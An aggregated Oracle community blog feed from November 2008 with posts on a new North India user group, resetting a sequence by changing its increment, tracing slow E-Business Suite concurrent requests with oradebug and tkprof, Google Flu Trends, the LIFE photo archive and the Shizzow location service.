I was contacted a few months ago by some motivated individuals who were members of the Oracle RAC SIG. They wanted to start a new local Oracle user group in their region of Northern India and were looking for advice. I offered a few pointers and recently, they launched the new group - North India Oracle Users Group at nioug.org.

If you are in Northern India or have colleagues or friends that are located there, you should check out this group. If you would like to get involved by coordinating a meeting, being a speaker, or helping in any way, I’d encourage you to contact one of the individuals listed on the Board of Directors to see how you can help as a volunteer. They’re allowing registration for free (at least for now) too.

They’ve also established a blog to publish upcoming news on events and happenings with the group. It has an RSS feed, so you may want to subscribe to easily track the new posts there.

Good luck to all the volunteers and the new group!

Things I've Learned This Week

Chet Justice - Thu, 2008-11-20 20:35
You can in fact DELETE from DBA_JOBS. Not that I had ever tried before this weekend, I just assumed it was a view (still might be with an INSTEAD OF trigger).

I also learned how to reset a sequence without dropping and recreating it. This was courtesy of my crazy DBA, oraclue.

Example:
SQL> CREATE SEQUENCE TEST_SEQ
2 START WITH 10
3 INCREMENT BY 10
4 MINVALUE -1000;

Sequence created.

SQL> SELECT test_seq.nextval FROM dual CONNECT BY LEVEL <= 10;

NEXTVAL
----------
10
20
30
40
50
60
70
80
90
100

10 rows selected.

SQL> SELECT * FROM user_sequences WHERE sequence_name = 'TEST_SEQ';

SEQUENCE MIN_VALUE MAX_VALUE INCREMENT_BY C O CACHE_SIZE LAST_NUMBER
-------- ---------- ---------- ------------ - - ---------- -----------
TEST_SEQ -1000 1.0000E+27 10 N N 20 210

SQL> ALTER SEQUENCE TEST_SEQ INCREMENT BY -10;

Sequence altered.

SQL> SELECT * FROM user_sequences WHERE sequence_name = 'TEST_SEQ';

SEQUENCE MIN_VALUE MAX_VALUE INCREMENT_BY C O CACHE_SIZE LAST_NUMBER
-------- ---------- ---------- ------------ - - ---------- -----------
TEST_SEQ -1000 1.0000E+27 -10 N N 20 90

SQL> SELECT test_seq.nextval FROM dual CONNECT BY LEVEL <= 10;

NEXTVAL
----------
90
80
70
60
50
40
30
20
10
0

10 rows selected.

SQL> SELECT * FROM user_sequences WHERE sequence_name = 'TEST_SEQ';

SEQUENCE MIN_VALUE MAX_VALUE INCREMENT_BY C O CACHE_SIZE LAST_NUMBER
-------- ---------- ---------- ------------ - - ---------- -----------
TEST_SEQ -1000 1.0000E+27 -10 N N 20 -110

SQL> ALTER SEQUENCE TEST_SEQ INCREMENT BY 10;

Sequence altered.

SQL> SELECT * FROM user_sequences WHERE sequence_name = 'TEST_SEQ';

SEQUENCE MIN_VALUE MAX_VALUE INCREMENT_BY C O CACHE_SIZE LAST_NUMBER
-------- ---------- ---------- ------------ - - ---------- -----------
TEST_SEQ -1000 1.0000E+27 10 N N 20 10

SQL> SELECT test_seq.nextval FROM dual CONNECT BY LEVEL <= 10;

NEXTVAL
----------
10
20
30
40
50
60
70
80
90
100

10 rows selected.
Categories: BI & Warehousing

The Navigation List - select something and update the page

Shay Shmeltzer - Thu, 2008-11-20 18:55
A while ago I wanted to test youTube as a mean to distribute demos of JDeveloper so I did a quick recording of a tip showing how to use the navigation list item and put it up there - but... shay.shmeltzer
Categories: Development

Troubleshoot long running Concurrent Request in Apps 11i/R12

Atul Kumar - Thu, 2008-11-20 18:09

This post covers overview of How to troubleshoot long running concurrent request in  Oracle Apps 11i/R12

Step 1 : Check Concurrent Request ID of long running concurrent request from front end
Step 2 : Find SID, SERIAL# and SPID by running SQL (given below)
Step 3 : Enable event 10046 trace with level 12 using oradebug ( for 15-20 minute)
Step 4 : Disable trace (once you are happy with trace size)
Step 5 : Convert raw trace to TKPROF using various sort options like fchela, prsela, execpu
Step 6
: Check TKPROF out file to find root cause of slow concurrent request

.

Step 1 : Check Request ID from Find Concurrent request screen (In my case Request ID is 2355) 

Step 2 : Run below command to find SPID, provide concurrent request ID (2355 in my case) when prompted

SELECT a.request_id, d.sid, d.serial# ,d.osuser,d.process , c.SPID
FROM apps.fnd_concurrent_requests a,
apps.fnd_concurrent_processes b,
v$process c,
v$session d
WHERE a.controlling_manager = b.concurrent_process_id
AND c.pid = b.oracle_process_id
AND b.session_id=d.audsid
AND a.request_id = &Request_ID
AND a.phase_code = ‘R’;

REQUEST_ID        SID    SERIAL# OSUSER           PROCESS    SPID
—————-
   2355        514         28 applmgr                        17794   1633.
. 

Step 3.1 : Check and confirm SPID on Database Node
oraclevis11i@onlineappsdba>ps-ef | grep 1633
 ovis11i  1633     1  0 13:30:43 ?        0:03 oraclevis11i (LOCAL=NO)

Step 3.2 : Set OSPID (1633 in my case) for ORADEBUG
SQL> oradebug setospid 1633

Oracle pid: 68, Unix process pid: 1633, image: oraclevis11i@onlineappsdba

Step 3.3 : Enable trace for 10046 event with level 12
SQL> oradebug event 10046 trace name context forever, level 12

Step 3.4 : Locate Trace file as
SQL>oradebug tracefile_name

/oracle/apps/vis11idb/10.2.0/admin/vis11i_onlineappsdba/udump/vis11i_ora_1633.trc

Wait for 15-20 minutes

Step 4 : Disable trace
SQL> oradebug event 10046 trace name context off

Step 5: Create tkprof file like
tkprof  ‘/oracle/ apps/ vis11idb/ 10.2.0/ admin/ vis11i_onlineappsdba/ udump/ vis11i_ora_1633.trc’   ’/oracle/ apps/ vis11idb/ 10.2.0/ admin/ vis11i_onlineappsdba/ udump/ tkprof_1633.txt’ explain=apps/[apps_passwd]  fchela …

Step 6 : Check TKPROF file to find root cause of slow concurrent requet

.
References

How to interpret TKPROF to find potential performance issues, coming soon …..

Previous in series Related Posts for Troubleshooting
  1. Troubleshoot Oracle Apps Web Server and Login Issues
  2. Troubleshooting Concurrent Managers
  3. Oracle Apps Web Server Apache, Login Troubleshooting
  4. Troubleshooting Oracle Portal SSO OHS Webcache OAS
  5. Troubleshoot long running Concurrent Request in Apps 11i/R12

Troubleshoot long running Concurrent Request in Apps 11i/R12

Online Apps DBA - Thu, 2008-11-20 18:09
This post covers overview of How to troubleshoot long running concurrent request in  Oracle Apps 11i/R12 Step 1 : Check Concurrent Request ID of long running concurrent request from front end Step 2 : Find SID, SERIAL# and SPID by running SQL (given below) Step 3 : Enable event 10046 trace with level 12 using oradebug ( for 15-20 minute) Step [...]

This is summary of post for full content kindly visit http://onlineAppsDBA.com
Categories: APPS Blogs

Good Habits for Consultants

Digital Eagle - Thu, 2008-11-20 16:29

I found this great link the other day about good habits for consultants.  Doing some Googling, I was able to build a quick list of posts about habits for consultants:

Here is another good tid-bit for consultants: 7 greatest challenges

In the past, I found some good jokes about consultants, but the links were broken.  Here are some more:

      

SQL to monitor (check status) of Workflow Notification Mailer (Java)

Online Apps DBA - Thu, 2008-11-20 15:56
 SQL> SELECT COMPONENT_STATUS from APPS.FND_SVC_COMPONENTS where COMPONENT_ID=10006;   Previous in series Related Posts for Workflow Oracle Workflow Notification MailerWorkflow Notification Mailer Setup in Oracle Apps R12/12iOracle Workflow Notification Mailer Outbound ProcessingHow to update Workflow Administrator Role in Oracle Applications 11i/R12SQL to monitor (check status) of Workflow Notification Mailer (Java)Share This

This is summary of post for full content kindly visit http://onlineAppsDBA.com
Categories: APPS Blogs

Google Does and Knows a Lot

Oracle AppsLab - Thu, 2008-11-20 15:24

It’s pretty hard to keep up with all the stuff Google does. There are several blogs I know of whose only purpose in life is to cover Google.

Anyway, a couple noteworthy Google announcements recently caught my attention. So, I figured I share them and collect your thoughts.

Google Flu Trends
Google.org announced Google Flu Trends recently, which tracks aggregated search data to estimate flu activity in the US (and by state). So your search for any number of flu-related keywords alerts Google Flu Search to the possibility of an influenza rise in your state.

Pretty Orwellian, but cool. At first blush, the logic here sounded weak to me. After all, lots of Internet doctors exist out there (my wife is one), and this approach puts a fair amount of faith into a person’s ability to diagnose symptoms effectively.

Not to mention the fact that the usage of Google state-by-state may not represent a large enough sample to make these assumptions. So, interested, but skeptical, I dug more deeply.

Turns out this theory was tested last year, and it closely mirrors data collected by the CDC. Even more surprising to me is that the data generated by Google Flu Trends estimate with good accuracy the spread of flu, one to two weeks ahead of the CDC models.

Surprising to me and yet another example of what Google knows about us all.

Google Hosts Images from Life
Google announced (by way of Lifehacker) this week that they are hosting newly digitized images from the LIFE magazine photo archive, available for search on Google Image Search.

Only a very small percentage of these images have ever been published. The rest have been sitting in dusty archives in the form of negatives, slides, glass plates, etchings, and prints. We’re digitizing them so that everyone can easily experience these fascinating moments in time. Today about 20 percent of the collection is online; during the next few months, we will be adding the entire LIFE archive — about 10 million photos.

This is very cool to me. There are loads of great shots that have never been published by famous photographers of events and times long past. It’s a very interesting way to look back into history.

This is a good move by LIFE too, but what’s missing for me is the usage licenses for these images. I’ve mentioned Flickr as a great source for Creative Commons licensed work to use in presentations and blogs.

I suspect the licensing for these digitized images is highly difficult to sort out, considering that each photographer could have had a different agreement with LIFE, but still there’s not a single clue as to whether I can use them or not and why.

I hope they sort that out and publish it soon so these fantastic photos can spread around the ‘tubes.

addthis_url = 'http%3A%2F%2Ftheappslab.com%2F2008%2F11%2F20%2Fgoogle-does-and-knows-a-lot%2F'; addthis_title = 'Google+Does+and+Knows+a+Lot'; addthis_pub = '';

Shizzow Expands Beyond the Rose City

Oracle AppsLab - Thu, 2008-11-20 13:40

I’ve mentioned Portland-based Shizzow a few times in the past in posts about geo-aware services and networking.

Shizzow has been open to Portlanders only until this week, but Tuesday they added the Bay Area. And now today, Seattle is also supported.

Full disclosure: I know all the principles that make up the little Shizzow operation. They’re all working on Shizzow as a side-project (read in addition to regular jobs), and they’re bootstrapping rather than taking outside money, a good call considering the current economy.

Oh yeah, what is Shizzow? It’s (another) geo-location social network. Its purpose is simplicity, born out of necessity. Portland has a huge nomadic geek population, bouncing around the many wi-fi coffeehouse and mobile working locations around town.

Shizzow’s goal is to make ad-hoc meetups and gatherings happen more easily. Rather than broadcasting the address of your current (or soon-to-be) location, Shizzow has a collection of human-understandable locations from which you can “shout”, e.g. if I’m at CubeSpace and I want to grab some lunch, I can shout my location as CubeSpace, rather than 622 SE Grand.

This makes it easier for my friends to know where I am. Shizzow has several ways to shout, web page (natch), IM, SMS, Google Gadget. Oddly, there is no Twitter integration. I’ve asked about that several times. The Shizzow web page interface supports Mozilla Geoge, which is nice when Geode has a clue about where you are.

If you’re wondering, yes, it sounds like Brightkite and Loopt and “insert geo-aware social network name here”. Dawn Foster, Shizzow’s community manager, differentiates for us:

We developed Shizzow to solve a specific need: the desire to find our friends and hang out with them. The other services had so much clutter that we weren’t able to effectively solve our need using any of the existing location-based applications. We aren’t out to convert our competitors’ users over to Shizzow; plenty of people find value in these other location-based services. However, if you are focused on connecting with your friends in the real world, and like us, you need a better way to find your friends, we hope you will give Shizzow a try.

I find Shizzow suffers from the same gap that all the other do; I can never remember to update it when I go somewhere. Maybe I don’t move around enough. That’s why I’ve been asking for a Twitter bot from the beginning; I’m on Twitter frequently. I sometimes remember to tweet when I’m on the go. Therefore, a Twitter bot would be the best way to get me to shout my location.

This was what I really liked about Firebot, the Twitter bot for Fire Eagle, which has since gone dark, a casualty of the loss of XMPP/IM integration.

Anyway, with a small development crew (three?) who all have day jobs, Shizzow has managed to do quite a lot. So, if you live in Portland, Seattle or the Bay Area, or have a bunch of friends in those regions and visit there a lot, drop a comment for an invite to Shizzow, or hit up @shizzow on Twitter.

Like everything, it’s a beta service, but of course, they’re looking for feedback. So, if you’re interested check it out and send your thoughts to them (or put them in comments here).

Although, based on the comments (or lack thereof) on the geo-related posts I’ve done here, I’m guessing not many of you will care very much.

Prove me wrong.

addthis_url = 'http%3A%2F%2Ftheappslab.com%2F2008%2F11%2F20%2Fshizzow-expands-beyond-the-rose-city%2F'; addthis_title = 'Shizzow+Expands+Beyond+the+Rose+City'; addthis_pub = '';

Ask the Experts - 47

Nitin Pai - Thu, 2008-11-20 13:29
Hi, This is related to data conversion. I want to convert a string to a number. The string contains zero at the first position. while conversion, other values get converted except the zero. During print, we can print the zero... Nitin Pai

Ask the Experts - 46

Nitin Pai - Thu, 2008-11-20 12:52
HiCan we call Unix commands through peoplecode? Thanks Thanks for posting your question! Exec is a cross-platform function that executes an external program on either UNIX or Windows. This function has two parameter conventions in order to maintain upward compatibility... Nitin Pai

Oracle iProcurement Handbook

Oracle Infogram - Thu, 2008-11-20 12:51
Here's a little something for your reading pleasure...
The Oracle iProcurement Handbook, written by ex-Oracle iProc guru Kalyana Muthyala, covers both technical and functional aspects of iProcurement.

Hyperion, R12 and BIP, EBS, ADF, 11g Clusterware, External Table Preprocessor, Public Grants, Carl Backstrom

Oracle Infogram - Thu, 2008-11-20 12:24
Hyperion
An announcement from the Look Smarter Than You Are blog that the new EPM 11.1.1.1 release is out, and it swats bugs left and right. Read about it here.
R12 and BI Publisher Patch
A new patch is out for changing the default layout format between RTF/PDF/Excel when submitting XML / BI Publisher Concurrent Request in R12. Read about it at the In Depth Apps - Oracle eBusiness Suite.
EBS
Steven Chan is continuing a series of Open World recaps with this posting on Advanced Deployment Architectures for Oracle E-Business Suite.
ADF
Raghu Yadav's weblog brings us some good links on How to deploy ADF Application on Oracle WebLogic 10.3.

11g Clusterware
11g allows you to use ASM to protect a single instance, not just a multinode system. Alejandro Vargas has a good posting on the steps involved.
External Table Preprocessor 

The Structured Data blog has a very useful posting on usage of a feature introduced in 11g (and being backported to 10.2.0.5), an external table preprocessor. 
Public Grants
It seems simple enough: Revoke public grants to improve security, yes? Well, not quite so fast! Good posting over at Pete Finnigan's blog on the subject, with some valuable material in the comments as well.
Carl Backstrom
As I reported a couple of weeks ago, we lost Carl Backstrom, one of our most popular Oracle bloggers, to a car accident. There is a memorial entry at his blog and a memorial fund open to benefit his daughter.